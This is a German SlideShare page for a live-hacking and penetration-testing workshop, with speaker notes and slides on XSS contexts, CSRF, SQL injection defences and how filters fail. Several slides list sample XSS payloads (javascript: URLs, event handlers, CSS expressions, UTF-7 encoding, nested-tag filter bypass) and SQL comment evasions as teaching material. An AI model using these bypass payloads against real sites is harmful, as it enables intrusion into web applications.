Wsd pentesting workshop

1.691 Aufrufe

Veröffentlicht am

1 Kommentar
0 Gefällt mir
Statistik
Notizen
  • Gehören Sie zu den Ersten, denen das gefällt!

Keine Downloads
Aufrufe
Aufrufe insgesamt
1.691
Auf SlideShare
0
Aus Einbettungen
0
Anzahl an Einbettungen
13
Aktionen
Geteilt
0
Downloads
21
Kommentare
1
Gefällt mir
0
Einbettungen 0
Keine Einbettungen

Keine Notizen für die Folie
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Warum noch einmal Grundlagen kommen, erklär ich gleich \n
  • Warum noch einmal Grundlagen kommen, erklär ich gleich \n
  • Warum noch einmal Grundlagen kommen, erklär ich gleich \n
  • Warum noch einmal Grundlagen kommen, erklär ich gleich \n
  • Warum noch einmal Grundlagen kommen, erklär ich gleich \n
  • File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  • File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  • File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  • File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  • File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  • File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  • File Uploads sind ein Vektor, der vor allem indirekt zu exploits neigt.\n\n
  • Penetration Testing ist eine Form von Subversivität- es geht darum, nicht den offensichtlichen weg zu finden, sondern die seltsame Konstruktion, die trotzdem einen Hack erlaubt. Vermutlich ist das einer der Gründe, warum Security-Experten komische Leute sind :-) \nEigentlich gibt es eine Bauanleitung, wie man die Applikationen trotzdem wieder kaputt bekommt. \n
  • Penetration Testing ist eine Form von Subversivität- es geht darum, nicht den offensichtlichen weg zu finden, sondern die seltsame Konstruktion, die trotzdem einen Hack erlaubt. Vermutlich ist das einer der Gründe, warum Security-Experten komische Leute sind :-) \nEigentlich gibt es eine Bauanleitung, wie man die Applikationen trotzdem wieder kaputt bekommt. \n
  • Penetration Testing ist eine Form von Subversivität- es geht darum, nicht den offensichtlichen weg zu finden, sondern die seltsame Konstruktion, die trotzdem einen Hack erlaubt. Vermutlich ist das einer der Gründe, warum Security-Experten komische Leute sind :-) \nEigentlich gibt es eine Bauanleitung, wie man die Applikationen trotzdem wieder kaputt bekommt. \n
  • Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit <script> reicht definitiv nicht aus.\n
  • Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit <script> reicht definitiv nicht aus.\n
  • Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit <script> reicht definitiv nicht aus.\n
  • Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit <script> reicht definitiv nicht aus.\n
  • Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit <script> reicht definitiv nicht aus.\n
  • Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit <script> reicht definitiv nicht aus.\n
  • Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit <script> reicht definitiv nicht aus.\n
  • Gestern Im Talk von Arne wurde ja das Thema XSS schon angesprochen. Wir gehen hier noch einmal mehr in die Tiefe, um die diversen Vektoren aufzuzeigen. Ein einfacher Test mit <script> reicht definitiv nicht aus.\n
  • Es gibt 4 Default- Kontexte, in denen Javascript ausgeführt wird. In JavaScript selbst kann JS durch das Eval-Statement ausgeführt werden, aber auch durch Manipulation des DOM-Baumes - etwa durch das Hinzufügen von Script-Tags. Plugins, die JavaScript unterstützen: Flash, PDF, ActiveX, QuickTime, Shockwave. In alten Versionen vom Internet Explorer gehören auch PNG-Grafiken dazu :-) .\nEs geht auch Bande gespielt: ein Plugin, das eine Browserkomponente nutzt, führt selbst wieder in dieser JS aus.\n
  • Es gibt 4 Default- Kontexte, in denen Javascript ausgeführt wird. In JavaScript selbst kann JS durch das Eval-Statement ausgeführt werden, aber auch durch Manipulation des DOM-Baumes - etwa durch das Hinzufügen von Script-Tags. Plugins, die JavaScript unterstützen: Flash, PDF, ActiveX, QuickTime, Shockwave. In alten Versionen vom Internet Explorer gehören auch PNG-Grafiken dazu :-) .\nEs geht auch Bande gespielt: ein Plugin, das eine Browserkomponente nutzt, führt selbst wieder in dieser JS aus.\n
  • Es gibt 4 Default- Kontexte, in denen Javascript ausgeführt wird. In JavaScript selbst kann JS durch das Eval-Statement ausgeführt werden, aber auch durch Manipulation des DOM-Baumes - etwa durch das Hinzufügen von Script-Tags. Plugins, die JavaScript unterstützen: Flash, PDF, ActiveX, QuickTime, Shockwave. In alten Versionen vom Internet Explorer gehören auch PNG-Grafiken dazu :-) .\nEs geht auch Bande gespielt: ein Plugin, das eine Browserkomponente nutzt, führt selbst wieder in dieser JS aus.\n
  • Es gibt 4 Default- Kontexte, in denen Javascript ausgeführt wird. In JavaScript selbst kann JS durch das Eval-Statement ausgeführt werden, aber auch durch Manipulation des DOM-Baumes - etwa durch das Hinzufügen von Script-Tags. Plugins, die JavaScript unterstützen: Flash, PDF, ActiveX, QuickTime, Shockwave. In alten Versionen vom Internet Explorer gehören auch PNG-Grafiken dazu :-) .\nEs geht auch Bande gespielt: ein Plugin, das eine Browserkomponente nutzt, führt selbst wieder in dieser JS aus.\n
  • Es gibt 4 Default- Kontexte, in denen Javascript ausgeführt wird. In JavaScript selbst kann JS durch das Eval-Statement ausgeführt werden, aber auch durch Manipulation des DOM-Baumes - etwa durch das Hinzufügen von Script-Tags. Plugins, die JavaScript unterstützen: Flash, PDF, ActiveX, QuickTime, Shockwave. In alten Versionen vom Internet Explorer gehören auch PNG-Grafiken dazu :-) .\nEs geht auch Bande gespielt: ein Plugin, das eine Browserkomponente nutzt, führt selbst wieder in dieser JS aus.\n
  • Es gibt 4 Default- Kontexte, in denen Javascript ausgeführt wird. In JavaScript selbst kann JS durch das Eval-Statement ausgeführt werden, aber auch durch Manipulation des DOM-Baumes - etwa durch das Hinzufügen von Script-Tags. Plugins, die JavaScript unterstützen: Flash, PDF, ActiveX, QuickTime, Shockwave. In alten Versionen vom Internet Explorer gehören auch PNG-Grafiken dazu :-) .\nEs geht auch Bande gespielt: ein Plugin, das eine Browserkomponente nutzt, führt selbst wieder in dieser JS aus.\n
  • URL-Encoding schützt hier nur, weil der Doppelpunkt escaped wird. Gleichzeitig schützt das Encoding gegen das Verlassen des Attribut-Kontextes.\nEs muss nicht per se javascript: sein, im IE-6 werden auch andere Scriptsprachen wie vbscript etc unterstützt.Besser ist natürlich, wenn man das Protokoll hart vorgibt - oder durch ein / schlicht ignoriert. \n
  • Korrektes Escaping heisst in diesem Fall, dass die Anführungszeichen in den Werten escaped werden.Ohne den String-Kontext hat man ein Problem: hier reichen nämlich ganze normale Zeichen aus, um eine Injection zu provozieren.\n
  • In Tags selbst wird XSS nur in Event-Handlern ausgeführt. Innerhalb eines Tags können auch andere Kontexte - etwa Style oder bei Url-Attributen JavaScript-Url-Kontext - eingeführt werden. Dabei ist nicht immer ein Doublequote notwendig - Beispiele finden sich genug im XSS Cheat Sheet\n
  • Mit dem URL-Kontext können wiederum die klassischen Url-JavaScripts genutzt werden.\n
  • Endlich ein Fall, in dem Tag-Filterung tatsächlich hilft! Und endlich ein Fall, in dem die ganzen Penetration-Tester und Tools, die nur auf <script>-Tags testen, eine Injection finden! \n
  • Das gilt tatsächlich für jedes Escaping - diese Probleme findet man auch in Datenbanken, in Codeausführungen, in Services - überall, wo Parameter als Teil eines Strings übergeben werden.\n
  • Das gilt tatsächlich für jedes Escaping - diese Probleme findet man auch in Datenbanken, in Codeausführungen, in Services - überall, wo Parameter als Teil eines Strings übergeben werden.\n
  • Das gilt tatsächlich für jedes Escaping - diese Probleme findet man auch in Datenbanken, in Codeausführungen, in Services - überall, wo Parameter als Teil eines Strings übergeben werden.\n
  • Fazit: Es gibt kein silver bullet für XSS-Schutz, und kein Silver-Bullet für den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  • Fazit: Es gibt kein silver bullet für XSS-Schutz, und kein Silver-Bullet für den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  • Fazit: Es gibt kein silver bullet für XSS-Schutz, und kein Silver-Bullet für den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  • Fazit: Es gibt kein silver bullet für XSS-Schutz, und kein Silver-Bullet für den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  • Fazit: Es gibt kein silver bullet für XSS-Schutz, und kein Silver-Bullet für den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  • Fazit: Es gibt kein silver bullet für XSS-Schutz, und kein Silver-Bullet für den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  • Fazit: Es gibt kein silver bullet für XSS-Schutz, und kein Silver-Bullet für den Exploit. Man muss sich also auf beiden Seiten Arbeit machen :-) \n
  • Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  • Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  • Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  • Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  • Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  • Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  • Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  • Eigentlich ist die Interpretation eine Korrektur. Das altbekannte Beispiel, wie tolerant der Browser das HTML korrigiert, ist das XSS-Cheat-Sheet. \n
  • Und, wie oben genannt, natürlich auch Plugins. Auch Flash-Movies können Cross-Site-Scripting-Lücken, zum Beispiel über die URL, enthalten.\n
  • Und, wie oben genannt, natürlich auch Plugins. Auch Flash-Movies können Cross-Site-Scripting-Lücken, zum Beispiel über die URL, enthalten.\n
  • Und, wie oben genannt, natürlich auch Plugins. Auch Flash-Movies können Cross-Site-Scripting-Lücken, zum Beispiel über die URL, enthalten.\n
  • Und, wie oben genannt, natürlich auch Plugins. Auch Flash-Movies können Cross-Site-Scripting-Lücken, zum Beispiel über die URL, enthalten.\n
  • Und, wie oben genannt, natürlich auch Plugins. Auch Flash-Movies können Cross-Site-Scripting-Lücken, zum Beispiel über die URL, enthalten.\n
  • Und, wie oben genannt, natürlich auch Plugins. Auch Flash-Movies können Cross-Site-Scripting-Lücken, zum Beispiel über die URL, enthalten.\n
  • Dieses Beispiel stammt von einem bekannten offenen Businessclub. \n
  • Das ist nur eine unvollständige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das müssen nicht per se Daten sein, sondern können natürlich auch Fehlermeldungen etc sein.\n
  • Das ist nur eine unvollständige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das müssen nicht per se Daten sein, sondern können natürlich auch Fehlermeldungen etc sein.\n
  • Das ist nur eine unvollständige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das müssen nicht per se Daten sein, sondern können natürlich auch Fehlermeldungen etc sein.\n
  • Das ist nur eine unvollständige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das müssen nicht per se Daten sein, sondern können natürlich auch Fehlermeldungen etc sein.\n
  • Das ist nur eine unvollständige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das müssen nicht per se Daten sein, sondern können natürlich auch Fehlermeldungen etc sein.\n
  • Das ist nur eine unvollständige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das müssen nicht per se Daten sein, sondern können natürlich auch Fehlermeldungen etc sein.\n
  • Das ist nur eine unvollständige Liste alles, was irgendwie mit der Webapplikation kommuniziert, kann XSS injecten - das müssen nicht per se Daten sein, sondern können natürlich auch Fehlermeldungen etc sein.\n
  • Dieser Fall ist mit GMAIL vor 2 Monaten passiert, über eine Filter-Regel, die per XSS ausgeführt werden konnte.\n
  • Das sind die klassischen Schutzmaßnahmen. Gibts Wege drumherum? \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Das ist uns etwas peinlich, das hätten wir eigentlich validieren müssen. Aber alle Security-Experten, die wir angerufen haben, wussten nicht, wie sich die Shell da verhält. Wird per Blog-Posting nachgereicht. \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Wsd pentesting workshop

    1. 1. Johann-Peter Hartmann & Marco Kaiser Live-Hacking & Penetration Testing
    2. 2. Johann-Peter Hartmann» CTO der Mayflower GmbH» Entwickler und Consultant» Gründer SektionEins GmbH» Security ist Steckenpferd seit 1994 2
    3. 3. Wer seid Ihr ? 3
    4. 4. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein? 3
    5. 5. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? 3
    6. 6. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?» Wer kennt CSRF? 3
    7. 7. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?» Wer kennt CSRF?» Wer kennt SQL Injections? 3
    8. 8. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?» Wer kennt CSRF?» Wer kennt SQL Injections? 3
    9. 9. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?» Wer kennt CSRF?» Wer kennt SQL Injections?» Was erwartet ihr von diesem Workshop? 3
    10. 10. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?» Wer kennt CSRF?» Wer kennt SQL Injections?» Was erwartet ihr von diesem Workshop? 3
    11. 11. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?» Wer kennt CSRF?» Wer kennt SQL Injections?» Was erwartet ihr von diesem Workshop?» Oh, sorry, daran haben wir nicht gedacht. 3
    12. 12. Agenda 4
    13. 13. Agenda» Grundlagen 4
    14. 14. Agenda» Grundlagen» Motivation Pentesting 4
    15. 15. Agenda» Grundlagen» Motivation Pentesting» Information Gathering 4
    16. 16. Agenda» Grundlagen» Motivation Pentesting» Information Gathering» Pentesting 4
    17. 17. Agenda» Grundlagen» Motivation Pentesting» Information Gathering» Pentesting» Hands on 4
    18. 18. Grundlagen, Schutzmaßnahmen und Workarounds 5
    19. 19. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF 5
    20. 20. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF» SQL Injections 5
    21. 21. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF» SQL Injections» Shell Execution 5
    22. 22. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF» SQL Injections» Shell Execution» DoS 5
    23. 23. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads 5
    24. 24. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads» Local File Inclusions 5
    25. 25. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads» Local File Inclusions» Information Disclosure 5
    26. 26. Warum noch einmal die Grundlagen? 6
    27. 27. Warum noch einmal die Grundlagen?» Pentesting ist » bekannte Lücken finden » fehlende Sicherheitsmaßnahmen entdecken » Fehler in den Sicherheitsmaßnahmen finden 6
    28. 28. Warum noch einmal die Grundlagen?» Pentesting ist » bekannte Lücken finden » fehlende Sicherheitsmaßnahmen entdecken » Fehler in den Sicherheitsmaßnahmen finden» Proportional zur Education » bekannte Lücken unwahrscheinlich » fehlende Sicherheitsmaßnahmen selten » Fehler in Sicherheitsmaßnahmen oft 6
    29. 29. Warum noch einmal die Grundlagen?» Pentesting ist » bekannte Lücken finden » fehlende Sicherheitsmaßnahmen entdecken » Fehler in den Sicherheitsmaßnahmen finden» Proportional zur Education » bekannte Lücken unwahrscheinlich » fehlende Sicherheitsmaßnahmen selten » Fehler in Sicherheitsmaßnahmen oft» Es geht also um die entdeckbaren Fehler 6
    30. 30. XSS - ein bischen Theorie 7
    31. 31. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz 7
    32. 32. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung 7
    33. 33. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting 7
    34. 34. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS 7
    35. 35. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS » Validierung 7
    36. 36. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS » Validierung » globales Escaping 7
    37. 37. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS » Validierung » globales Escaping » Escaping 7
    38. 38. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS » Validierung » globales Escaping » Escaping» ... und warum /index.jsp?id=<script> kein XSS-Test ist 7
    39. 39. Javascript wird ausgeführt in ... 8
    40. 40. Javascript wird ausgeführt in ...» <script>-Tags 8
    41. 41. Javascript wird ausgeführt in ...» <script>-Tags» Urls 8
    42. 42. Javascript wird ausgeführt in ...» <script>-Tags» Urls» Event-Handlern 8
    43. 43. Javascript wird ausgeführt in ...» <script>-Tags» Urls» Event-Handlern» Style-Sheets 8
    44. 44. Javascript wird ausgeführt in ...» <script>-Tags» Urls» Event-Handlern» Style-Sheets» In JavaScript selbst 8
    45. 45. Javascript wird ausgeführt in ...» <script>-Tags» Urls» Event-Handlern» Style-Sheets» In JavaScript selbst» in Plugins 8
    46. 46. XSS in Urls» <link href=“javascript:...» <img src=“javascript:» <meta http-equiv=“refresh“ content=“0;url=javascript:..» <table background=“javascript:...» <div style=“a:url(javascript:...)“>» Url-Encoding schützt» Tag-Filterung hilft nicht 9
    47. 47. XSS in Scripts» <script> var search=“mystring“;alert(1);//“» aus dem JS-Stringkontext in den JS- Kontext ausbrechen» var number=1;alert(1);» Stringkontext: korrektes Escaping hilft» Tag-Filterung hilft nicht 10
    48. 48. XSS in Tags» <input value=“12“ onmouseover=“alert(1);“>» Attribut-Kontext -> Event-JS-Kontext» <a href=“index.htm“ href=“javascript:...» Attribut-Kontext -> Url-Kontext» <a href=“index.htm“ style=“a:expression(..“» Attribut-Kontext -> Style-Kontext» Escaping mit HTML-Entitäten hilft» Tag-Filterung schützt nicht 11
    49. 49. XSS in Style-Sheets» Als Style-Definition: <style>a: expression(alert(1))</style>» Als Style im Attribut: <a style=“background-color:expression(..» Ausnutzung des URL-Kontextes: url()» Firefox: Ausnutzung über Behaviors» Escaping hilft bei Strings» Tag-Filterung hilft nicht 12
    50. 50. XSS in HTML» <script>alert(1)</script>» Wechsel zu Url: <a href=“javascript:...“>» Wechsel zu Event: <a onmouseover=“...“>» Wechsel zu Style: <a style=“a:expression..» Tag-Filterung hilft» Escaping in HTML-Entitäten hilft 13
    51. 51. Codepage-basierte Kontextwechsel 14
    52. 52. Codepage-basierte Kontextwechsel» Jedes Escaping ist abhängig von der Code-Page 14
    53. 53. Codepage-basierte Kontextwechsel» Jedes Escaping ist abhängig von der Code-Page» Fehlendes Multibyte-Handling kann Escaping boykottieren Beispiel: %C0“ -> %C0“ 14
    54. 54. Codepage-basierte Kontextwechsel» Jedes Escaping ist abhängig von der Code-Page» Fehlendes Multibyte-Handling kann Escaping boykottieren Beispiel: %C0“ -> %C0“» Die Codepage kann forciert werden UTF-7-Bug in den ersten 1024 Bytes: +ADw-script+AD4-alert(1);+ADw-/script +AD4+ 14
    55. 55. Fazit: Probleme bei XSS 15
    56. 56. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle 15
    57. 57. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren 15
    58. 58. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren » HTML-Entititäten 15
    59. 59. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren » HTML-Entititäten » String-Enkodierung für value=““ 15
    60. 60. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren » HTML-Entititäten » String-Enkodierung für value=““ » String-Escaping für JS/CSS-Strings 15
    61. 61. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren » HTML-Entititäten » String-Enkodierung für value=““ » String-Escaping für JS/CSS-Strings » URL-Enkodierung in Links 15
    62. 62. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren » HTML-Entititäten » String-Enkodierung für value=““ » String-Escaping für JS/CSS-Strings » URL-Enkodierung in Links» Escaping hilft nicht bei Non-String- Injections in Javascript/Event-Kontext 15
    63. 63. Probleme bei XSS-Blacklists 16
    64. 64. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant 16
    65. 65. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig 16
    66. 66. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation 16
    67. 67. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation 16
    68. 68. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation » Es gibt keine finale Liste dieser „Verbesserungen“ 16
    69. 69. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation » Es gibt keine finale Liste dieser „Verbesserungen“ » pro Monat wird etwa eine neue gefunden 16
    70. 70. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation » Es gibt keine finale Liste dieser „Verbesserungen“ » pro Monat wird etwa eine neue gefunden» Inhalt ist kontextabhängig 16
    71. 71. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation » Es gibt keine finale Liste dieser „Verbesserungen“ » pro Monat wird etwa eine neue gefunden» Inhalt ist kontextabhängig » der gleiche String kann je nach Ausgabeort neutral oder vergiftet sein 16
    72. 72. Probleme bei XSS-Blacklists 2 17
    73. 73. Probleme bei XSS-Blacklists 2» HTML wird extern erweitert 17
    74. 74. Probleme bei XSS-Blacklists 2» HTML wird extern erweitert » Attribute wie dojotype=... 17
    75. 75. Probleme bei XSS-Blacklists 2» HTML wird extern erweitert » Attribute wie dojotype=... » URL-Moniker wie skype: oder tel: 17
    76. 76. Probleme bei XSS-Blacklists 2» HTML wird extern erweitert » Attribute wie dojotype=... » URL-Moniker wie skype: oder tel: » Browser-Plugins wie Greasemonkey 17
    77. 77. Probleme bei XSS-Blacklists 2» HTML wird extern erweitert » Attribute wie dojotype=... » URL-Moniker wie skype: oder tel: » Browser-Plugins wie Greasemonkey » JavaScript-Includes für Adserver 17
    78. 78. Probleme bei XSS-Blacklists 2» HTML wird extern erweitert » Attribute wie dojotype=... » URL-Moniker wie skype: oder tel: » Browser-Plugins wie Greasemonkey » JavaScript-Includes für Adserver» Blacklists sind immer unvollständig 17
    79. 79. Fehlerhafte XSS-Filter» String-Operationen als Filter» <script>-Tags werden automatisch entfernt» Was ist mit <scr<script>ipt> ?» XSS Cheat Sheet » http://ha.ckers.org/xss.html 18
    80. 80. Externe XSS-Vektoren 19
    81. 81. Externe XSS-Vektoren» RSS 19
    82. 82. Externe XSS-Vektoren» RSS» Web-Services 19
    83. 83. Externe XSS-Vektoren» RSS» Web-Services» CSV 19
    84. 84. Externe XSS-Vektoren» RSS» Web-Services» CSV» Meta-Daten von Medienfiles 19
    85. 85. Externe XSS-Vektoren» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier 19
    86. 86. Externe XSS-Vektoren» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier» Logfiles 19
    87. 87. Externe XSS-Vektoren» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier» Logfiles» Poisoning beim Spidern 19
    88. 88. Cross Site Request Forgery 20
    89. 89. Cross Site Request Forgery» Ist wirklich kritisch: wurde vor kurzem für Erpressung über Domain-Transfer genutzt» Häufigster Schutz: Token-basiert» Ist mit einem XSS zu boykottieren» -> bei vorhandener CSRF-Protection nach XSS suchen 20
    90. 90. Schutzmaßnahmen bei SQL-Injection» Parameter Binding» Parameter Escaping» Blacklisting 21
    91. 91. Angriffe auf Parameter Binding 22
    92. 92. Angriffe auf Parameter Binding» Namen aus externen Quellen 22
    93. 93. Angriffe auf Parameter Binding» Namen aus externen Quellen » Datenbanken 22
    94. 94. Angriffe auf Parameter Binding» Namen aus externen Quellen » Datenbanken » Tabellen 22
    95. 95. Angriffe auf Parameter Binding» Namen aus externen Quellen » Datenbanken » Tabellen » Spalten 22
    96. 96. Angriffe auf Parameter Binding» Namen aus externen Quellen » Datenbanken » Tabellen » Spalten» SQL-Syntax 22
    97. 97. Angriffe auf Parameter Binding» Namen aus externen Quellen » Datenbanken » Tabellen » Spalten» SQL-Syntax » Sortierrichtungen 22
    98. 98. Angriffe auf Parameter Binding» Namen aus externen Quellen » Datenbanken » Tabellen » Spalten» SQL-Syntax » Sortierrichtungen » Operationen 22
    99. 99. Parameter Escaping 23
    100. 100. Parameter Escaping» Multi-Byte-Attacken 23
    101. 101. Parameter Escaping» Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken 23
    102. 102. Parameter Escaping» Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken » alte Datenbank-Versionen 23
    103. 103. Parameter Escaping» Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken » alte Datenbank-Versionen » seltsame Codepages 23
    104. 104. Parameter Escaping» Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken » alte Datenbank-Versionen » seltsame Codepages» Fehlendes Escaping von Bezeichnern 23
    105. 105. Parameter Escaping» Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken » alte Datenbank-Versionen » seltsame Codepages» Fehlendes Escaping von Bezeichnern» Fehlendes Whitelisting von SQL-Syntax 23
    106. 106. SQL Blacklisting Evasions 24
    107. 107. SQL Blacklisting Evasions» SQL Comment Filter Evasions 24
    108. 108. SQL Blacklisting Evasions» SQL Comment Filter Evasions » mehrzeilige Comments: /* */ 24
    109. 109. SQL Blacklisting Evasions» SQL Comment Filter Evasions » mehrzeilige Comments: /* */ » einzeilige Comments: -- ,# 24
